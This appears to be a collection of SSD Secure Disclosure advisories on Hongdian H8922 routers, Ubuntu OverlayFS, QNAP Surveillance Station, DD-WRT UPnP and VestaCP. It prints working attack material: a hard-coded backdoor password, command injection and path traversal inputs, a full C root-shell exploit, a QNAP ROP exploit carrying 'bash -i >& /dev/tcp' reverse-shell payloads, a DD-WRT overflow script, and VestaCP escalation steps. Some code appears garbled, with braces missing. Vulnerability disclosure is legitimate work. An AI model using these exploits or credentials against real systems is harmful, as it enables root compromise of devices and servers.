SSD Advisory – Hongdian H8922 Multiple Vulnerabilities


Find out how multiple vulnerabilities in Hongdian H8922 allow an attacker to run arbitrary commands on the device with root privileges as well as access the device with root privileges via a backdoor account.

Vulnerability Summary

The H8922 “4G industrial router is based on 3G/4G wireless network and adopts a high-performance 32-bit embedded operating system with full industrial design. It supports wired and wireless network backup, and its high reliability and convenient networking make it suitable for large-scale distributed industrial applications. Such as smart lockers, charging piles, bank ATM machines, tower monitoring, electricity, water conservancy, environmental protection”.

Several vulnerabilities in the H8922 device allow remote attackers to cause the device to execute arbitrary commands with root privileges due to the fact that user provided data is not properly filtered as well as a backdoor account allows access via port 5188/tcp.


CVE-2021-28149, CVE-2021-28150, CVE-2021-28151, CVE-2021-28152


An independent security researcher, Konstantin Burov / @_sadshade, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Hongdian H8922 version 3.0.5

Vendor Response

The vendor has been informed more than 30 days ago about the vulnerabilities, subsequent attempts to email and report the vulnerabilities went unanswered.

Vulnerability Analysis

Hidden Functionality (Backdoor)

The device has an undocumented feature that allows access to shell as a superuser. To connect, the telnet service is used on port 5188 with the default credentials – root:superzxmn.

This method of connection, as well as credentials, are not described in the
documentation for the device and therefore are considered an undocumented possibility for remote control.

Attackers can use this feature to gain uncontrolled access to the device.

Use of Hard-coded Credentials

The root password cannot be changed in the normal way, which prevents unauthorized people from connecting to the device.

Improper Neutralization of Special Elements used in an OS
Command (‘OS Command Injection’)

The /tools.cgi handler, which is responsible for network diagnostics (ping), does not filter user data in the “destination” parameter.

A remote attacker with minimal privileges (guest) can execute an arbitrary command of the operating system as the superuser (root) by substituting the command end character.

For example, the string “;ps” entered in the ip-address field displays the list of processes running on the system.

Improper Limitation of a Pathname to a Restricted Directory
(‘Path Traversal’)

The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting “../” for example “../../etc/passwd“.

The check can be carried out using an Internet browser by changing the file name accordingly.

You need to follow the link http://[ip]/log_download.cgi?type=../../etc/passwd, log in and the web server will allow download the contents of the “/etc/passwd” file.

Insecure direct object references to static files

The unprivileged user “guest” can access the file with the system configuration of the device (cli.conf) via the direct link http://[ip]/backup2.cgi.

The file can be used to reveal administrator password and other sensitive data.


SSD Advisory – OverlayFS PE


Find out how a vulnerability in OverlayFS allows local users under Ubuntu to gain root privileges.

Vulnerability Summary

An Ubuntu specific issue in the overlayfs file system in the Linux kernel where it did not properly validate the application of file system capabilities with respect to user namespaces. A local attacker could use this to gain elevated privileges, due to a patch carried in Ubuntu to allow unprivileged overlayfs mounts.




An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

Vendor Response

“We published security advisories for this issue today in

as well as making the issue public in our CVE tracker:

The following is the content of the message was sent to the oss-security list:

Vulnerability Analysis

Linux supports file capabilities stored in extended file attributes that work similarly to setuid-bit, but can be more fine-grained. A simplified procedure for setting file capabilities in pseudo-code looks like this:

    if cap_convert_nscap(...) is not OK:
        then fail

The important call is cap_convert_nscap, which checks permissions with respect to namespaces.

If we set the file capabilities from our own namespace and on our own mount, there is no problem and we have permission to do so. The problem is that when OverlayFS forwards this operation to the underlying file system, it only calls vfs_setxattr and skips checks in cap_convert_nscap.

This allows to set arbitrary capabilities on files in outer namespace/mount, where they will also be applied during execution.

In Linux 5.11 the call to cap_convert_nscap was moved into vfs_setxattr, so it is no more vulnerable.



#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);

#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"

static void xmkdir(const char *path, mode_t mode)
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);

static void xwritefile(const char *path, const char *data)
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);

static void xcopyfile(const char *src, const char *dst, mode_t mode)
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
        } else if (rd == -1) {
            if (errno == EINTR)
            err(1, "read %s", src);

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                err(1, "write %s", dst);
            p += wr;
            rd -= wr;


static int exploit()
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;

int main(int argc, char *argv[])
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
    } else {
        waitpid(child, NULL, 0);

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);

SSD Advisory – QNAP Pre-Auth CGI_Find_Parameter RCE


Find out how a memory corruption vulnerability can lead to a pre-auth remote code execution on QNAP QTS’s Surveillance Station plugin.

Vulnerability Summary

QNAP NAS with “Surveillance Station Local Display function can perform monitoring and playback by using an HDMI display to deliver live Full HD (1920×1080) video monitoring”.

Insecure use of user supplied data sent to the QNAP NAS device can be exploited to run arbitrary code by overflowing an internal buffer used by the Surveillance Station plugin.




An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

QNAP QTS Surveillance Station version

QNAP QTS Surveillance Station version

Vendor Response

“We fixed this vulnerability in the following versions:

Surveillance Station (and later) for ARM CPU NAS (64bit OS) and x86 CPU NAS (64bit OS)

Surveillance Station (and later) for ARM CPU NAS (32bit OS) and x86 CPU NAS (32bit OS)”

More details can be found here:

Vulnerability Analysis

Due to lack of proper bound checking, it’s possible to overflow a stack buffer with a specially crafted HTTP request.

user.cgi is used to manage login session to Surveillance Station. but vulnerability is caused by using strcpy while receiving sid through CGI_Find_Parameter function. Also, the vulnerable function call is located in the sub_ACB0 (from ida) here is part of binary user.cgi:

 v2 = CGI\_Find\_Parameter(a1, "initdata");
 v3 = CGI\_Find\_Parameter(v1, "user");
 if ( v3 ) {
    v4 =\*(\_DWORD \*)(v3 +4);
    if ( !\*(\_BYTE \*)v4 || !strcmp(\*(constchar\*\*)(v3 +4), "guest") ) 
        goto LABEL\_34; 
    else { 
        v4 =0; 

    v5 = CGI\_Find\_Parameter(v1, "pwd");
    if ( v5 ) 
        v6 =\*(char\*\*)(v5 +4);
    else v6 =0;

    v7 = CGI\_Find\_Parameter(v1, "sid");
    v8 = v7;

    if ( v7 ) {
        v9 =\*(constchar\*\*)(v7 +4);
        strcpy(&dest, v9);

The CGI_Find Parameter function is used to process a request in QNAP QTS.


import requests
import threading
from struct import *

p = lambda x: pack("<L", x)

def run(session, data):
    res = ["", data) for i in range(5000)]

def main():
	with requests.Session() as s:
                payload = "A" * 3108
                payload += p(0x74a8eb8c) # pop {r0, r4, pc}
                payload += p(0x71154e28) # heap address
                payload += "BBBB"
                payload += p(0x74a636c4 + 1) # system
                data = {
		    "act" : "login",
		    "sid" : payload,
		    "slep" : "bash -i >& /dev/tcp/ 0>&1;" * 0x5000 + "\x00" + "bash -i >& /dev/tcp/ 0>&1;" * 0x5000,

                for i in range(30):
                    t = threading.Thread(target=run, args=(s, data))

if __name__ == '__main__':

SSD Advisory – DD-WRT UPNP Buffer Overflow


Find out how a vulnerability in DD-WRT allows an unauthenticated attacker to overflow an internal buffer used by UPNP and trigger a code execution vulnerability.

Vulnerability Summary

DD-WRT is “is Linux-based firmware for wireless routers and access points. Originally designed for the Linksys WRT54G series, it now runs on a wide variety of models”.

Use of user supplied data, arriving via UPNP packet, is copied into an internal buffer of DD-WRT. This buffer being limited in size – while user supplied data is not allows a remote attacker to trigger a buffer overflow.




An independent security researchers, Selim Enes Karaduman, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

DD-WRT with change set 45723 or prior

Buffalo devices that ship with DD-WRT should be considered to be vulnerable

Vendor Response

“Thanks for informing us about this issue. we will fix it ASAP and release a fixed version within the next days including update of our router database.
for all devices.

Fix can be reviewed here″

Vulnerability Analysis

Universal Plug and Play (UPnP) is “a set of networking protocols that permits networked devices, such as personal computers, printers, Internet gateways, Wi-Fi access points and mobile devices to seamlessly discover each other’s presence on the network and establish functional network services for data sharing, communications, and entertainment. UPnP is intended primarily for residential networks without enterprise-class devices”.

By default, UPNP in DD-WRT is disabled as well as only listening on internal network interfaces.

UPNP in its nature is an unauthenticated protocol, in UDP form – which makes it both easy to use as well as insecure in nature, as there is no way to enforce authentication on the protocol.

If DD-WRT has its UPNP service enabled a remote attacker sitting on the LAN where the DD-WRT device is present can trigger a buffer overflow by sending an overly long uuid value.

Depending on the platform DD-WRT is deployed on, there may or may not be mitigation such as ASLR and others, making exploitability dependent on the platform the DD-WRT is installed on.

Vulnerable Code

By reviewing the source code of ssdp.c it is fairly easy to spot the offending code:

An unbound copy from user provided data is copied into a buffer limited to 128 bytes in size.

Proof Of Concept

Because the UPNP service is not enabled by default, the first step to recreate the vulnerability would be to enable the service which will auto-start it:

Launching the PoC script will trigger the upnp service to crash as can be seen a few seconds after you launch the below python script:

import socket

target_ip = "" # IP Address of Target
off = "D"*164
ret_addr = "AAAA" 

payload = off + ret_addr

packet = \
    'M-SEARCH * HTTP/1.1\r\n' \
    'HOST:\r\n' \
    'ST:uuid:'+payload+'\r\n' \
    'MX:2\r\n' \
    'MAN:"ssdp:discover"\r\n' \

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.sendto(packet.encode(), (target_ip, 1900) )

SSD Advisory – VestaCP LPE Vulnerabilities


Find out how multiple vulnerabilities in VestaCP allow an authenticated attacker to elevate his access to root privileges.

Vulnerability Summary

VestaCP is “an open source hosting control panel, a clean and focused interface without the clutter, and has the latest of very innovative technologies”.

Two security vulnerabilities in VestaCP allow attackers that have access to the VestaCP panel to elevate their privileges from user to admin, and subsequently from admin to root – by chaining these two vulnerabilities together a user can become ‘root’ on the victim machine.


CVE-2021-30462, CVE-2021-30463


Two independent security researchers, Martí Guasch Jiménez (@0xGsch) and Francisco Andreu Sanz (@kikoas1995), have reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

VestaCP version 0.9.8-24 and prior

Vendor Response

We informed the vendor 3 months ago and have initially had communication with the developers – however after a few back and forth emails with them – they have stopped answering our emails and have not released a patch.

We currently recommend you to use forks of VestaCP like, myVestaCP and HestiaCP, has they released patches for the vulnerabilities.

Vulnerability Analysis

Privilege escalation from user to admin in VestaCP

To show this vulnerability we will be using a standard user account in VestaCP which we previously created called user1.

First of all we will show you how to obtain a reverse shell as the user account in the VestaCP server. This is not completely necessary but facilitates the exploitation by a lot.

Reverse shell
In order to obtain the shell we need to create a cron job that executes periodically and sends a reverse shell to a server controlled by the attacker.

In the following image, we get a shell as the user who executed the cronjob.


Go to your users web directory inside your home directory (~) and create a directory with the name of the domain you desire, in our case we are using pwned.pwn.

Now inside that directory, create another directory called public_xhtml. And inside public_xhtml create a symlink pwn.pwn to the desired file you want to read, in this case we want to takeover the admin account so we are going to point to its user.conf which contains the RKEY that allows us to change their password, but we can takeover any account with this vulnerability or read any file.

Now again in the directory of our domain, pwned.pwn, create as many symlinks to the folders which we don’t have permission to access. In our case we need access to /usr/local/vesta/data/users and /usr/local/vesta/data/users/admin, so we create two symlinks with any desired name.

Once all the setup is finished we can trigger the vulnerability by creating a domain as the user1 with the name pwned.pwn in the /add/web URL of VestaCP.

After creating the domain we should see that some directories have been created in our domain folder, pwned.pwn. If we now try to read the contests of the user.conf of admin we should be able to do so.

Now that we can read its RKEY, we can simply access /reset/?action=confirm&user=admin&code=RKEY_VALUE and change the password of the admin user.

Root Cause

The vulnerability happens in the shell script v-add-web-domain which is called in /add/web/index.php.

In it, the following commands are used without checking if the directory already exists or has any contents. $domain is the name of the domain of our website and $user of our VestaCP user.

In lines 88 to 94 we can see that various chmod commands are used in our $domain directory. We can abuse the command in line 94 to change the permissions of the file we want to read, and the command in line 92 to change the permissions of the directories we need access to.

Privilege escalation from “admin” to “root” in VestaCP

To exploit this vulnerability we should also create a reverse shell as the admin user as seen in the previous one.

As seen in the following screenshot, VestaCP relies on bash scripts to perform every operation in the web-app, such as adding a user or listing them. The scripts are under the path /usr/local/vesta/bin.

These bash scripts are owned by root user and can not be modified. However, sudo -l reveals that admin can run any of these scripts as root without having to insert the password.


Looking at the script v-list-user we see that it uses the environment variable $VESTA at the beginning of it to import /usr/local/vesta/func/

First, let’s create a bash script under /tmp/func called, which is just going to spawn a shell.

As we are able to execute any of the scripts as root without entering the password, we can first overwrite the environment variable $VESTA before executing them.

This way, when running v-list-user, we will instantly have root access to the system: